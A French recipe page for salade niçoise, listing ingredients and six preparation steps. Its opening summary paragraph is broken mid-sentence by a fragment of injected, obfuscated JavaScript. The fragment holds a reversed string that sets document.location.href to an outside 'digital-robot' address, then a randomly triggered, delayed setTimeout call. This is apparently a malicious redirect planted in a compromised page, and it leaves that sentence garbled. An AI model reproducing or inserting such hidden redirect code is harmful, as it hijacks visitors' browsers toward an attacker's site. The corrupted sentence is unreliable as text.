Salade niçoise

2018-02-09

Triez, rincez, essorez la salade. Égouttez la boite de thon. Pelez, ôtez les petites graines, coupez en petits dés les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Coupez en dés le 1/2 concombre. Coupez en tronçons les haricots verts.

Ingrédients

  • Pour 4 personnes
  • 1 laitue
  • 1 boite de thon
  • 2 tomates
  • 1/2 concombre
  • 150 g de haricots verts cuits
  • Quelques olives vertes
  • Quelques olives noires
  • 2 cuillères à soupe de basilic ciselé
  • 4 œufs durs
  • Vinaigrette :
  • 1 cuillère à café de moutarde
  • 1 cuillère à soupe de vinaigre de vin
  • 2 cuillères à soupe d'huile d'arachide

Préparation de la recette

Etape 1

Triez, rincez, essorez la salade. Égouttez la boite de thon.

Etape 2

Pelez, ôtez les petites graines, coupez en petits dés les tomates. Coupez en dés le 1/2 concombre.

Etape 3

Coupez en tronçons les haricots verts.

Etape 4

Écalez les œufs et les couper en 4. Dénoyautez les olives vertes et noires.

Etape 5

Dans un saladier préparez la vinaigrette en mélangeant la moutarde, le vinaigre, l'huile, sel, poivre. Émulsionnez avec un fouet.

Etape 6

Incorporez le basilic, la salade, le thon, les tomates, le concombre, les haricots verts, les olives. Mélangez puis déposez les quartiers d'œufs dessus. Dégustez.

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